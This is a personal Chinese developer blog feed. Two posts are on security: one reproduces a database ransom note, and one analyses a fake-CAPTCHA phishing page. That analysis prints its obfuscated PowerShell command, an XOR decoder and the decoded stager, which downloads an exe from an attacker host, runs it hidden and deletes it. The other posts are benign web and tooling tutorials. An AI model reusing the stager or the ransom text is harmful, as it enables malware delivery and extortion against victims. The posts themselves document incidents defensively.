七仔的博客

关于博客数据库被新的勒索病毒入侵

七仔(Github) — Wed, 01 Jul 2026 01:33:02 GMT

关于博客数据库被新的勒索病毒入侵

详情

其实这已经是博客的Mysql数据库第二次被勒索病毒入侵了，第一次是删除数据并要求支付0.055比特币恢复数据，详见：https://www.baby7blog.com/myBlog/96.html

这次还不太一样，这次是10天内要求支付0.08比特币，否则就删除数据并公开数据，还有第二个选项，如果不要求恢复数据只要求不公开数据，只需要支付0.04比特币。这次不知道什么原因删除数据似乎失败了，不过删了也问题不大，都有备份。

题外话，20年入侵的时候1比特币大概是八千人民币左右，26年现在算了下1比特币要四十万人民币了，涨的真恐怖啊

放个过去10年比特币兑美元的折线图

勒索信息

具体就是在mysql的每个数据库里塞进去一个表（READ_THIS_TO_RECOVER_YOUR_DATABASE），然后里面写上勒索信息。

翻译后的：

尊敬的先生：

希望您一切安好。

我们特此通知您，已对您的数据库/表进行了备份并加密保存，将保留10天后，您的数据将被公开披露，并从我们的服务器中永久删除。

我们为您提供解密密码及数据恢复服务：如需解密数据库并恢复您的数据库/表，请将0.08 BTC（比特币）转账至以下地址：
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
此地址已分配给您的数据库凭证主机用户。我们将在您付款后知晓。  
付款确认后，我们的程序将自动为您解密密码并恢复全部数据库/表。  
因此，请勿更改您的数据库登录信息，并确保数据库仍可从本地网络外部访问。  
请放心，您的所有数据库和表都将被成功恢复。如果恢复失败，当前字段将被修改，并提供下载数据的链接供您获取。
如果您没有比特币，可以通过以下网站使用信用卡购买：
Coinbase：https://www.coinbase.com/  
MoonPay：https://www.moonpay.com/buy  
Paybis：https://paybis.com/  
Changelly：https://changelly.com/buy  
Aqua：https://aqua.net/  
CEX：https://cex.io/  
HodlHodl：https://hodlhodl.com
您也可以通过以下平台使用其他支付方式购买比特币（其中部分平台在中国可使用）：  
Coinbase：https://www.coinbase.com/  
Paxful：https://paxful.com/  
Binance：https://www.binance.com/  
Crypto.com：https://www.crypto.com/  
Huobi：https://www.huobi.com/  
OKCoin：https://www.okcoin.com/  
BTCC：https://www.btcc.com/  
Paybis：https://paybis.com/  
Coinmama：https://coinmama.com/  
Bitfinex：https://www.bitfinex.com/
对于中国用户，可通过以下方式使用支付宝购买比特币：  
CoinCola：https://www.coincola.com/？lang=zh-HK  
BitValve：https://www.bitvalve.com/buy-bitcoin/alipay
如果你不需要恢复数据，但希望防止其泄露，请向以下地址发送 0.04 BTC：
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
在这种情况下，您的数据将不会被公开，并且会从我们的服务器中删除，且不会提供任何恢复服务。
感谢您的时间和关注。祝你好运。

原文：

Dear Sir ,
We hope this message finds you well.
We would like to let you know that we created a backup of your databases/tables and encrypt it we keep them for 10 days and then your data will be publicly disclosed and permanently delete them from our servers.
We offer you our decrypt password and recover service: if you want to decrypt database and recover your  databases/tables, simply transfer 0.08 BTC (bitcoin) to this address:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

This address is assigned to your database credentials host user. We will know when you have paid.
After payment confirmation, our program will send you decrypt password restore the entire databases/tables automatically.
So please do not change your database login details and make sure the database is still accessible from outside the local network.
Don not worry. All your databases and tables will be restored. If the restore fails the current field will be modified and provide links for you to download your datas.

If you do not have Bitcoin, you can purchase it using a credit card from the following websites:
Coinbase: https://www.coinbase.com/
MoonPay: https://www.moonpay.com/buy
Paybis: https://paybis.com/
Changelly: https://changelly.com/buy
Aqua: https://aqua.net/
CEX: https://cex.io/
HodlHodl: https://hodlhodl.com

Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China):
Coinbase: https://www.coinbase.com/
Paxful: https://paxful.com/
Binance: https://www.binance.com/
Crypto.com: https://www.crypto.com/
Huobi: https://www.huobi.com/
OKCoin: https://www.okcoin.com/
BTCC: https://www.btcc.com/
Paybis: https://paybis.com/
Coinmama: https://coinmama.com/
Bitfinex: https://www.bitfinex.com/

For users in China, Bitcoin can be purchased with Alipay from:
CoinCola: https://www.coincola.com/?lang=zh-HK
BitValve: https://www.bitvalve.com/buy-bitcoin/alipay

If you don not need to restore your data but you want to prevent it from being leaked, send 0.04 BTC to this address:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

In this case, your data will not be made public and will be deleted from our servers without any recovery service.

Thank you for your time and consideration. Good luck.

后续更新

笑死，我没改密码，勒索病毒把我数据库删了，备份都有，点一下数据就恢复了。放着吧，看看这些搞窃取的还能整出来什么花活儿

一次浏览器钓鱼病毒的分析

七仔(Github) — Tue, 26 May 2026 15:30:24 GMT

一次浏览器钓鱼病毒的分析

起因

我的一个同学碰到的，他之前收藏的一个网址，应该是被挟持了，然后做了一个假的人机验证脚本，他鬼迷心窍之下执行了网站误导的流程，导致中了病毒

分析

先是拿到了地址，然后通过浏览器打开，发现这个还比较奇怪，是个随机跳网站的网站，前两次是随机的网站，第三次到了钓鱼网站
网站截图如下，中间一个看起来人畜无害的验证按钮
点击勾选框后，网站给出钓鱼步骤
其实就是网站生成了一个PowerShell的命令行命令，当然我们这里不选择执行，这里给出脱敏后的命令
```
<# Verification code: 306E68AB3DDC #>
```

$dl='Fxxx9xx'; $qegcp='8888888888888888888888858345d221b1510040c513550161a1f144c1b542814111f4a0b0f7c2613194d245c320c260857225a251a1a4763054c35011317161850325b251f5b23472f010f2a4a3941291619166c2f4523284c406c3a4677474d5e5b65080c1a1f14150654321d565e5d38437c21333768761d1d260f094c3358683c39546837412e284c407f33411414181e573b732f191334593b506e5c5f417633426b3c021f5576180f0113176c2f45235532134a3356321a0403187b6527011e5a1c3506665830154a35503a3a030e1518402a194d5e5c62080c1a1f14150654321d565e5b65156e2e25034b22502b5b3f35160654321d2b40021150322717145c3958001c1a1f763758235d5f511f711b230d135d1f7f0e62104347086d5329075e5e5e6008764e521c0e76182a015649187b54281XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; $i8q='';0..($qegcp.Length/2-1)|%{$hcu=$_*2; $i8q+=char};.([ScriptBlock]::Create($i8q)) ```

目前有一大段16进制字符需要解密，$dl是秘钥，让Deepseek写了个py解密脚本，脚本如下：

dl = 'XXSXp5izq'
uhy4 = '8888888888888888888888858345d221b1510040c513550161a1f144c1b542814111f4a0b0f7c2613194d245c320c260857225a251a1a4763054c35011317161850325b251f5b23472f010f2a4a3941291619166c2f4523284c406c3a4677474d5e5b65080c1a1f14150654321d565e5d38437c21333768761d1d260f094c3358683c39546837412e284c407f33411414181e573b732f191334593b506e5c5f417633426b3c021f5576180f0113176c2f45235532134a3356321a0403187b6527011e5a1c3506665830154a35503a3a030e1518402a194d5e5c62080c1a1f14150654321d565e5b65156e2e25034b22502b5b3f35160654321d2b40021150322717145c3958001c1a1f763758235d5f511f711b230d135d1f7f0e62104347086d5329075e5e5e6008764e521c0e76182a015649187b54281XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

n3 = ''
for i in range(0, len(uhy4), 2):
    byte_val = int(uhy4[i:i+2], 16)
    key_char = dl[(i // 2) % len(dl)]
    n3 += chr(byte_val ^ ord(key_char))

print(n3)

运行后输出如下：

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;

$c3 = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName()); New-Item -ItemType Directory -Path $c3 -Force | Out-Null; $d4 = Join-Path $c3 ([System.IO.Path]::GetRandomFileName() + '.exe'); $e5 = 0; for ($f6 = 0; $f6 -lt 3 -and -not $e5; $f6++) { try { Invoke-WebRequest -Uri 'https://legalreads.monster/api/index.php?a=dl&zxv=LCZYU&vti=hY2GgLPW6NhzCs0&pjp=111111111119df8839f2176da479d89ff628503dc350xxxxxxxxxxxxxx&mefnc=9uAPzpTRqH' -OutFile $d4 -UseBasicParsing; if (Test-Path $d4) { $e5 = 1 } else { Start-Sleep -Seconds 2 } } catch { Start-Sleep -Seconds 2 } } if (-not (Test-Path $d4)) { exit } Start-Process -FilePath $d4 -WindowStyle Hidden; try { Remove-Item -LiteralPath $d4 -Force -ErrorAction SilentlyContinue } catch {}

```

其实分析这段代码的核心就是下载其中的地址并命名为exe，然后隐藏执行并删除自身。

我通过postman下载到了这个exe（注意该地址可能有时间限制或单次限制），大概1.1M的样子

结果

目前就分析到这里，由于懒得整虚拟机所以不打算分析这个exe。其实就是个钓鱼网站诱导用户执行命令，然后这个命令会下载exe，至于这个exe会执行什么就不知道了

给VitePress的右上角增加Github角标

七仔(Github) — Sat, 18 Oct 2025 11:26:30 GMT

给VitePress的右上角增加Github角标

介绍

我没有找到VitePress的Github角标的插件，所以做了后面的嵌入流程，方案是在主题布局中直接引入。如果不知道这两个项目的同学可以看看介绍部分

github-corner

可以在页面的四角显示Github角标，可以自定义大小、背景颜色。当鼠标移动到这个角标时还能看到Github摇尾巴的动画

官网地址: https://tholman.com/github-corners

项目地址: https://github.com/tholman/github-corners

VitePress

VitePress 是一个静态站点生成器 (SSG)，专为构建快速、以内容为中心的站点而设计。简而言之，VitePress 获取用 Markdown 编写的内容，对其应用主题，并生成可以轻松部署到任何地方的静态 HTML 页面。

官网地址: https://vitepress.dev/zh

项目地址：https://github.com/vuejs/vitepress

具体流程

1. 创建自定义主题组件

在 .vitepress/theme 目录下创建组件：

# 创建主题目录结构
mkdir -p .vitepress/theme/components
touch .vitepress/theme/index.js
touch .vitepress/theme/components/GitHubCorner.vue

2. 创建 GitHub Corner 组件

.vitepress/theme/components/GitHubCorner.vue：

<template>
    <a
        :href="repoUrl"
        class="github-corner"
        aria-label="View source on GitHub"
        target="_blank"
        rel="noopener noreferrer"
    >
        <svg
            width="80"
            height="80"
            viewBox="0 0 250 250"
            style="fill:#151513; color:#fff; position: fixed; top: 0; border: 0; right: 0; z-index: 1000;"
            aria-hidden="true"
        >
            <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
            <path
                d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
                fill="currentColor"
                style="transform-origin: 130px 106px;"
                class="octo-arm"
            ></path>
            <path
                d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
                fill="currentColor"
                class="octo-body"
            ></path>
        </svg>
    </a>
</template>

<script>
export default {
    name: 'GitHubCorner',
    props: {
        repoUrl: {
            type: String,
            required: true
        }
    }
}
</script>

<style scoped>
.github-corner:hover .octo-arm {
    animation: octocat-wave 560ms ease-in-out;
}

@keyframes octocat-wave {
    0%,
    100% {
        transform: rotate(0);
    }
    20%,
    60% {
        transform: rotate(-25deg);
    }
    40%,
    80% {
        transform: rotate(10deg);
    }
}

@media (max-width: 500px) {
    .github-corner:hover .octo-arm {
        animation: none;
    }
    .github-corner .octo-arm {
        animation: octocat-wave 560ms ease-in-out;
    }

    /* 在移动端可以调整大小 */
    .github-corner svg {
        width: 60px;
        height: 60px;
    }
}
</style>

3. 修改 `.vitepress/theme/index.js`

// https://vitepress.dev/guide/custom-theme
import { h } from 'vue'
import DefaultTheme from 'vitepress/theme'
import './style.css'
import GitHubCorner from './components/GitHubCorner.vue'

/** @type {import('vitepress').Theme} */
export default {
    extends: DefaultTheme,
    Layout: () => {
        return h(DefaultTheme.Layout, null, {
            // 在 layout-top 插槽中添加 GitHub Corner
            'layout-top': () => h(GitHubCorner, {
                repoUrl: 'https://github.com/baby7/agile-tiles'
            })
        })
    },
    enhanceApp({ app, router, siteData }) {
        // 如果需要，也可以在这里注册为全局组件
        // app.component('GitHubCorner', GitHubCorner)
    }
}

效果(右上角)

也可以直接点击链接访问查看效果：https://www.agiletiles.com

截图：

【开源】七仔的桌面工具 v2.6.1

七仔(Github) — Tue, 09 Sep 2025 02:20:36 GMT

【开源】七仔的桌面工具

前言

七仔的桌面工具开源啦，开源地址：https://github.com/baby7/baby7-desktop-tool

介绍

桌面侧边栏工具，包含多种小卡片和工具，点击托盘区图标或快捷键Alt+1进行弹出和隐藏

上半部分是小卡片

日期卡片
时间卡片
天气卡片
工作日卡片
喝水记录卡片

下半部分是工具

各平台热搜
待办事项（区分待办和完成分类，新增待办事项[标题、内容、程度、闹钟]）
看的（必应每日一图、摸鱼人日历等）
读的（历史上的今天、其他心语等）
秒读

说明

可以将托盘区小图标拖到任务栏，然后点击小图标可以隐藏和弹出

使用快捷键Alt+1可以隐藏和展示

在托盘区右键可以弹出操作菜单

暂时有部分接口失效，可以先修改源代码自行调整接口或等待我这边修复

运行截图

下载(v2.6.1)

蓝奏云

链接: https://agiletiles.lanzoue.com/s/agiletiles

开源地址：https://github.com/baby7/baby7-desktop-tool

【开源】灵卡面板 - 打造你的专属摸鱼办公面板

七仔(Github) — Mon, 18 Aug 2025 15:43:05 GMT

【开源】灵卡面板 - 打造你的专属摸鱼办公面板

软件介绍

Windows桌面端软件，摸鱼办公神器

拥有海量卡片，可以自定义卡片布局，隐藏到侧边需要使用时弹出(可以鼠标或快捷键唤出)

主卡片

本地文件快捷搜索（基于everything）
局域网文件传输
快捷键截图、屏幕取色
翻译（同时接入截图识别并翻译）
AI对话（多种智能体）
TODO（待办事项）功能
各大平台实时热搜
音乐播放器、小说阅读器
有趣图文（摸鱼人日历、kfc梗图文案、萌宠图片、历史上的今天、随机心语）
热门网站链接聚合

小卡片

台风、系统加速球、翻页时钟
月相、笔记本电池电量
基金、股票、金价
Epic Steam 喜加一资讯
Bilibili粉丝量
自定义快捷方式（网址、exe文件、文件夹或普通文件）
LCD时钟、日历、天气预报
喝水记录、今天吃什么、电子木鱼
倒数日、圆盘时钟、英语单词
自定义图片、工作日、电脑监控
灵感提示词、时间进度条、搜索
古诗词、答案之书、一言

工具箱模块

文件批量操作工具、屏幕取色工具
Json格式化工具、编解码工具、颜色转换器
时间时区时间戳的计算器
图片批量转表格工具
视频进度条生成器、笔记本电池健康曲线
这班值不值得上、记仇生成器
中国房贷计算器、中国家庭称谓计算器
BMI计算器

软件运行界面

软件官网和下载链接

官网：

https://www.agiletiles.com/

Github:

https://github.com/baby7/agile-tiles

蓝奏云：

链接: https://agiletiles.lanzoue.com/s/agiletiles

七仔的笔记本电池健康工具

七仔(Github) — Thu, 26 Sep 2024 06:31:04 GMT

七仔的笔记本电池健康工具

写这个的原因是发现笔记本后面电池鼓包了。。。

如果使用满意欢迎点star:

https://github.com/baby7/baby7-win-battery-health

如果导入有什么问题，欢迎提issue，最好能直接粘贴html文件

使用方法

打开cmd窗口，输入下方命令:

powercfg /batteryreport

打开软件，点击上方的按钮[导入win电池健康html文件]，然后选择刚才生成的html报告即可

另：折线图上方的标题处有开始结束的时间和电池健康度

下载和运行:

可以clone这个项目，然后直接运行main.py
GitHub上有编译好的exe文件，直接下载即可：

https://github.com/baby7/baby7-win-battery-health/releases

百度网盘：链接: https://pan.baidu.com/s/1KslcNstR5BihuTawsoW_ag?pwd=2ts4

提取码: 2ts4

蓝奏云：链接: https://wwta.lanzoue.com/i68zp34r5prc

提取码: c8um

在其他软件上运行

灵卡面板

地址：

https://www.agiletiles.com/

博客的加载速度和大小的优化、优化再优化

七仔(Github) — Fri, 30 Aug 2024 07:54:29 GMT

博客的加载速度和大小的优化、优化再优化

0. 前言

最近对博客的加载速度和各种文件体积进行了优化，特此记录一下

可以点击七仔的博客测试我的博客速度

1. 基础

1.1 图片加载优化

对于非文章类的大图片先进行一遍压缩，使用各种压缩网站就可以
然后对于各种图片最好都转换为为webp格式，相对于传统格式能降低大小大概四成左右

1.2 gzip压缩

gzip是针对文本类型进行压缩的，例如html、js、css、txt等格式，可以在nginx处打开

http {
    gzip  on;
    gzip_buffers 32 4K;
    gzip_comp_level 6;
    gzip_types text/plain application/javascript text/css;
}

2. 首屏渲染

Vue类型的博客的内容是通过实时加载去渲染的，如果蜘蛛只获取了html而没有去加载js的话实际是没有内容的。有几种解决方案。

将vue渲染成静态文件，每次增加新文章都重新渲染一遍，然后上传到服务器上。优点是加载快，但是调整插件什么的比较麻烦。
实时判断爬虫然后进行服务器端渲染。

我这里主要讲一下服务端渲染。首先是nginx判断爬虫:

http {
    
    ...

    server {

        ...

        location ... {
            
            if ($http_user_agent ~* "Sogou web spider|BingPreview|baidu|Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider|qihoobot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot|Sogou web spider|soso|sogou|yahoo|sohu-search|yodao|robozilla|msnbot|MJ12bot|NHN|Twiceler|FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Googlebot|Ezooms") {
                proxy_pass  http://xxx.xxx.xxx.xxx:3000?url=https%3A%2F%2Fwww.xxxxxxxx.com${document_uri}$is_args$query_string;
            }
        }
    }
}

逻辑就是通过请求的User-Agent判断是否是爬虫，如果是爬虫就调用一个端口为3000的服务将路径转发给它让它加载完返回加载后（js会渲染完成）的html。

至于这个端口为3000的服务，我是用了一个docker安装的镜像为zenato/puppeteer-renderer的容器，对外端口为3000，作用就是进行服务端渲染。

docker运行语句:

docker run -d --name puppeteer-renderer -p 3000:3000 zenato/puppeteer-renderer:latest

zenato/puppeteer-renderer的开源地址：https://github.com/zenato/puppeteer-renderer

3. 接口

后端服务其实没什么好说的，就是做缓存就好了，可以用Redis。另外一般返回格式为json，所以最好在nginx处加上json格式的gzip。

http {
    ...
    gzip_types text/plain application/javascript text/css application/json;
}

4. Live2d的优化

对于live2d，基础的js和css的优化就不说了，顺便提一下live2d的图片因为要拼接起来，所以很大，记得也要压缩

这里主要说一下moc格式，moc这个是用来存live2d模型的，我这里会达到三百多k，非常占资源，其实moc是可以进行gzip压缩的，压缩后我这里会降低到一百多k，不到一半，moc进行gzip压缩有我这里有两种方案：

对nginx进行配置，再增加一个针对moc的gzip压缩

http {
    ...
    gzip_types text/plain application/javascript text/css application/json text/x-moc;
}

调整xx.model.json文件中的后缀

{
	"model": "xx.moc.txt",
}

然后修改xx.moc为xx.moc.txt即可（需要确保nginx有做text/plain的gzip压缩）

5. 七牛云的优化

5.1 七牛云的图片瘦身

可以在七牛云的对象存储 -> 空间管理 -> 你自己的空间 -> 多媒体样式 -> 新建样式中配置。

我这里建议是打开图片瘦身+输出格式为webp。需要注意修改以后右侧可以看到示例链接，复制你图片的链接加上多出来的后缀即可访问。我这里访问后基本可以做到瘦身三四成的样子。

放一下配置截图:

5.2 七牛云的gzip压缩

截止到我写这篇文章的时候，七牛云会默认开启gzip加速的类型有:

text/plain
text/css
text/javascript
text/xml
application/x-javascript
application/json
application/xml
application/xml+rss
application/javascript

来源: https://developer.qiniu.com/fusion/1571/seven-niuyun-support-for-text-file-download-optimization

不能进行自定义，所以对于上面的live2d的moc文件最好调整为txt格式进行gzip压缩

6. 工具

我这里用了谷歌的 PageSpeed Insights 进行分析，分析还是很全的。

PageSpeed Insights: https://pagespeed.web.dev/?hl=zh_CN

放一下截图:

可以点击七仔的博客测试我的博客速度

使用 Github Pages 和 Hexo 搭建博客

七仔(Github) — Wed, 28 Aug 2024 13:17:25 GMT

使用 Github Pages 和 Hexo 搭建博客

一、前言

其实可以通过github.io搭建wiki或者个人博客我挺久之前就知道，不过一直没用，主要是因为已经有一个博客了，没必要再搭一个，不过最近兴起，就搭了个这个附属博客，同步更新主博客的文章。

附属博客地址：https://baby7.github.io/

截图：

下面说一下优缺点，主要对比的是购买服务器搭建个人博客。

优点：

不需要买服务器

使用Github Pages的服务器，只需要建一个github仓库，然后往里面放html文件就可以了，不需要去买服务器续费服务器。

不需要买域名

可以直接使用Github Pages提供的二级域名，不仅省去了买域名的花费，还省去了域名申请这个冗长的流程。

不需要担心被攻击

有Github撑腰，一点不带怕的，不像我现在这个博客，三天两头被攻击o(╥﹏╥)o

缺点：

不利于SEO收录

我尝试在百度的站长平台验证Github给的二级域名都提示不能被收录，不过可以通过再购买一个域名做转发，但这又是一笔花费，而且域名申请挺麻烦的。

新发现：google和必应可以收录github.io的网站!

谷歌站长工具: https://search.google.com/search-console?hl=zh-CN

必应站长工具: https://www.bing.com/webmasters

网络不太通畅

众所都周知，国内github的网络情况一言难尽，经常访问不了，这种情况在用它搭博客的情况下还不利于seo。当然如果自用的话有魔法就没问题了。

二、搭建

先推荐下官方的搭建方法，我搭建完才看见这个，不过也懒得再换了。

在 GitHub Pages 上部署 Hexo

三、流程

一、 Github部分

1. 仓库

首先在建立一个仓库，仓库名是username.github.io，其中username是你的github账号名，这个也是你的最终的博客域名，如果你想改个别的域名，要不然改github的账号名（不过理论上之前仓库的地址都会变），要不然再申请一个账号。另外记得仓库的权限要设置成公开，不然无法访问。

截图：

2. 初始化

复制仓库地址，在本地使用你常用的开发软件或者VsCode什么的拉取代码然后创建一个index.html。

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <h1>学习HTML五年有余，得此页面</h1>
</body>
</html>

3. 测试

push到仓库上以后等待Github Action完成，进入浏览器输入username.github.io测试是否能看到第二步初始化中的<h1>标签中的内容

二、Hexo部分

1. 初始化

首先进入仓库，然后执行如下命令

$ hexo init <folder>
$ cd <folder>
$ npm install

folder随便起，最好就起个hexo

2. 修改基础配置

修改_config.yml，这里放一下基础设置（来源官网）

| 设置 | 描述 | | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | title | 网站标题 | | subtitle | 网站副标题 | | description | 网站描述 | | keywords | 网站的关键词。支持多个关键词。 | | author | 您的名字 | | language | 网站使用的语言。使用 2 个字母的 ISO-639-1 代码，或它的变体。默认为 en。 | | timezone | 网站时区, Hexo 默认使用您电脑的时区。请参考时区列表, 中国可以用 Asia/Shanghai。 |

3. 新增文章

执行命令

$ hexo new [layout] <title>

layout是布局，这里先填post就行，然后title是文章标题

在目录/source/_posts中找到对应的md文件进行写作

4. 编辑文章

这里放个例子

---
title: 第一篇文章
date: 2024-01-01 00:00:00
---

> # 学习Markdown五年有余，得此文章

5. 本地运行

修改后在命令行运行

hexo server -p 4000

在浏览器输入localhost:4000查看是否可以访问到

6. 生成

在命令行输入

hexo generate

会在/public中生成所有的静态文件，复制所有的，粘贴到仓库那一层（就是上上层）

7. 测试

然后push除了的文件，等待Github Action完成后进入浏览器输入username.github.io测试是否能正常查看

四、主题

好看的博客主题必不可少

官方的主题仓库里有不少，我推荐最后更新时间比较近的，时间远的可能版本和Hexo不匹配。

主题仓库：https://hexo.io/themes/

使用：

一般是使用首先使用命令下载主题

$ git clone https://github.com/xxx/xxx-xxxx.git themes/xxxxx

然后在_config.yml文件中修改使用的主题

theme: xxxxx

选型：

纯看自己审美，我的主博客是暗色风还花里胡哨的，这个新搭建的就选一个浅色的，也没有多余东西的风格，做一下推荐：NexT

记录下使用@Async的低级错误

七仔(Github) — Wed, 28 Aug 2024 02:44:46 GMT

记录下使用@Async的低级错误

一、前言

错误使用@Async导致发送邮件发送了两次

用这个注解也挺久了，没想到还能出现这种低级错误，也可能是博客后端代码太久没更新了，还是记录下吧。。。

二、代码

A.java

    //发送给博主的邮件
    {
        email.setTitle("您的博客有读者回复啦");
        email.setTo(emailSetting.getString("username"));
        emailUtil.send(email);
    }
    //发送给被回复方的邮件
    if (null != comment.getReplyId() && !Objects.equals(comment.getReplyId(), 0)) {
        email.setTitle("您在博客的评论有朋友回复啦");
        email.setTo(reply.getEmail());
        emailUtil.send(email);
    }

EmailUtil.java

    @Async
    public void send(Email email) {
        ...
    }

三、说明

上面就是关键的错误代码了，调用了两次emailUtil的send函数发送邮件，参数是同一个对象，只是修改了接收方的地址，但由于@Async的异步问题，导致上一个函数没法送完就被下面修改了接收方地址，最后导致实际发送的两次邮件地址都是下面的那个。

知道问题就好解决了，要么把上面的做成@Async，或者参数不要用同一个对象就可以了。

博客新增支持RSS订阅啦~

七仔(Github) — Mon, 26 Aug 2024 15:47:03 GMT

博客新增支持RSS订阅啦~

在建站五年后，终于是把这个古老的RSS订阅功能做了支持。。。

链接地址（订阅源）：

https://www.baby7blog.com/feed

另外在博客的顶部和底部也有订阅链接哦：

如何使用：

在Win下比较方便的就是使用Fluent Reader进行订阅（在设置出添加上方的链接地址为订阅源即可）

技术细节

用了一个rss的包，build.gradle:

    // rss订阅
    implementation 'com.rometools:rome:1.8.0'

然后是脱敏后的代码：

    private String getRss() throws FeedException {
        Channel channel = new Channel();
        channel.setEncoding("Utf-8");       //不要改动
        channel.setFeedType("rss_2.0");       //不要改动
        channel.setTitle("博客标题");
        channel.setLink("rss订阅地址");
        channel.setDescription("博客简介");
        channel.setLanguage("zh-cn");       //不要改动
        channel.setCopyright("Copyright信息");
        channel.setManagingEditor("邮箱(博主)");
        channel.setWebMaster("邮箱(博主)");
        channel.setUri("博客地址");
        channel.setGenerator("由谁构建");

        Image image = new Image();
        image.setUrl("图标地址");
        image.setTitle("博客标题");
        image.setHeight(32);
        image.setWidth(32);
        channel.setImage(image);

        // 博客最后更新的时间
        Date lastDate = new Date(0L);
        // 博客列表(倒序)
        List<Blog> blogList = xxxxx.list();
        // 结果列表
        List<Item> itemList = new ArrayList<>();
        for(Blog blog : blogList){
            Item item = new Item();
            item.setAuthor("博主");
            item.setLink("博文地址");
            item.setTitle("博文标题");
            item.setUri("博文地址");
            item.setComments("博文地址");
            Date date = XXX; // 写博文的时间
            com.rometools.rome.feed.rss.Category category = new com.rometools.rome.feed.rss.Category();
            category.setValue("分类");
            item.setCategories(Collections.singletonList(category));
            // 详情
            Description desc = new Description();
            desc.setValue("博文XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
            item.setDescription(desc);
            item.setPubDate(date);
            itemList.add(item);
            // 更新时间
            if(lastDate.before(date)){
                lastDate = date;
            }
        }
        channel.setItems(itemList);
        channel.setLastBuildDate(lastDate);
        // 输出
        WireFeedOutput output = new WireFeedOutput();
        return output.outputString(channel);
    }

简易AI对话的VueDemo

七仔(Github) — Mon, 26 Aug 2024 07:26:22 GMT

简易AI对话的VueDemo

一、说明

实现了连续对话，不过其中的GPT的Api已经失效想要使用的话需要另行寻找api。可以使用Electron打包成exe当成一个小程序使用。

二、展示

三、主要代码

注意就是将每条对话分为左边和右边两个vue，然后再组合起来，一共是三个vue

Chat.vue

<template>
    <div class="container">
        <div class="list" id="list" ref="list" >
            <ul>
                <li v-for="(item,index) in msglist" :key="index">
